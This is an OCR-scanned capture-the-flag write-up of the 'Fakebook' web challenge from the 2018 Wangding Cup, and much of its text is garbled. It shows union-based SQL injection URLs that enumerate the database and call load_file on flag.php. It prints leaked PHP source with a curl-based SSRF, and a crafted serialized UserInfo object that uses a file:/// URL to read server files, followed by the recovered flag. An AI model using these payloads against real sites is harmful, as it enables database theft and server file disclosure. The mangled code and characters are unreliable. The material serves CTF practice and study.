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IFETE, ;Ff, 38 robots. txt,login.php, flag.php
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the Fakebook

Share your stories with friends, family and friends from all over the world on Fakebook.
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: INT v = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XS

@l Load URL [ http://dff06dbc-d320-4916-833f-5e343181cf05.node4.buuoj.cn:81/view.php?no=-1 union all select 1,2,3,4

&  Split URL

v Execute

[] Postdata [] Referrer 4 OxHEX 3» @& %URL ¥» & BASEG4 3 | /nsert string to replace

I Insert replacing string

Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31

username age blog

2
Notice: Trying to get property of non-object in Notice: Trying to get property of non-object in
[var/www/html/view.php on line 53 fvar/www/html/view.php on line 56

the contents of his/her blog

Fatal error: Call to a member function getBlogContents() on boolean in /var/www/html/view.php on line 67
HIOXBEOEME agB g2 T, Allload fileHZSE|flag

?ho=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
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<b>Notice</b>: Trying to get property of non-cbject in <b} Notice: Trying to get property of non-object in Notice: Trying to get property of non-object ir
< ;" Jvar/veww/html/view.php on line 53 fvar/wwwihtml/view.php on line 56
j8

<r />
<b>Notice</b>: Trying to get property of non-ohject in <b}
srea

EEREFEINEG, RELRMOARITIE

database fakebook

view.php?no=-1 union all select 1,group_concat(TABLE_NAME,0),3,4 from
information_schema.TABLES where TABLE_SCHEMA='fakebook"

table users

=B no,username,passwd,data,USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS

7no=-1 union all select 1,group_concat(username,data),3,4 from users



INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

@ Load URL (http://dff06dbc-d320-4916-833f-5e343181cf05.noded.buuoj.cn:81/view.php?no=-1 union all select 1,group_concat(username,data),3 4 from users
&  Split URL
») Execute

[] Postdata [] Referrer 4% OxHEX 3 % %URL 3 % BASE64 3B | /nsert string to repface‘ |Fnsefr replacing string| Replace All

Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31
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10:8:"Userinfo":3:

{s:d:"name";s:1:"1";5:3:"age"i:1;5:4:"blog";s:5:"1.com";} Notice: Trying to get property Notice: Trying to get property
of non-object in fvar/www of non-object in fvar/www
/htmlfview.php on line 53 /html/view.php on line 56
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ZEIEAEIrobots. txtEBEAuser.php.bak, EXUserinfo¥ds

<?php

class UserInfo

{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $hlog)

{
$this->name = $name;
$this->age = (int)%age;
$this->blog = $blog;

b

function get($url)
{
$ch = curl_init(); ##¥iH{b— 1 cURLZ:1E, ftcurl_setopt(), curl_exec()#l
curl_close() wH#fEH

curl_setopt($ch, CURLOPT_URL, $url); #E5K—url, HFPCURLOPT_URL
T w ERIURLIL AL, EEER T ERE

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#CURLOPT_RETURNTRANSFER ¥§curl_exec () FRELAIE B LU A0 RGR B, 1 A2 B 4 H

$output = curl_exec($ch);  #curl_exec, meIhffiR[E] TRUE, B 7E RN
[f] FALSE. #&f, W% CURLOPT_RETURNTRANSFERIEIN# % E, PAEIITHIhIT &R BT I 44
£, RWETIEE FALSE

$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); ##ifs— LB
HTTPLIS. curl_getinfo: LIFfrariEalizBIER{E, B A E T CURLINFO_HTTP_CODE, ATLLE
3% [A] R AR B

if($httpCode == 404) {

return 404;
I
curl_close($ch); #UHR AL ARE404, Hik[FlexechH & H.

return $output;

}
public function getBlogContents ()
{
return $this->get($this->blog); #XHEFHH T LEE Ligetfidl, tblogZl
bl
}

public function isvalidelog ()



$blog = $this->blog;
return preg_match("/A(((http(s?)I\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-
z]1{2,63 (\: [0-9]+)2(\/\S*)?8/i", $blog);
b
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0:8:"UserInfo":3:
{s:4:"name";s:5:"admin";s:3:"age";1:19;s:4:"blog";s:29:"file:///var/www/htm
1/flag.php”;}

unionjEAfFIEblogEiE

?ho=-1 union/**/select 1,2,3,'0:8:"UserInfo":3:
{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/htm
1/f1ag.php”;}' [EE

@ Load URL [ http://dff06dbc-d320-4916-8331-5e343181cf05.noded.buuoj.cn:81/view.php?no=-1 union/**/select 1,223,3,'0:8:"UserInfo":3:
{s:4:"name";s:5:"admin”;s:3:"age”;i:19;s:4:"blog";s:29:"file:///var/www/htmi/flag.php™;}’

% splitURL

» Execute
[] Postdata [ ] Referrer 4% OxHEX 3» @& %URL ¥ X BASE64 I Insert string to replace| | Insert
username age blog
223 19 file:///var/www/html/flag.php
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@ <{table class="table™>
<hr>
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<br>
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<{p> the contents of his/her blog</p>
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® (iframe src="data:text/html:
base64, PDIwaHANCEOKJ6ZsYWegPSAiZmxhZ3tmMGFiM2]1Yi05MDEOLTQ2MTct0DOY i 11INGF1YZU3M6RmYZVOT jsNCmV4aXQoMCk7DQo="" fheight="1
Oem” width="100%">
divy
</body>
</html> ~

PDI9WaHANCgOKIGZsYWcgPSAiZmxhZ3tmMGFiM211Yi05MDEOLTQ2MTctoDcOY11INGF1YZU3MGR
mYzV9IjsNCmv4axqQoMck7DQo=

\

| baseb4fitiy

\

<?php

$flag = "flag{fOab3bbb-9014-4617-874b-ed4aec570dfc5}";
exit(0);






	[ctf web][网鼎杯 2018]Fakebook writeup
	[网鼎杯 2018]Fakebook

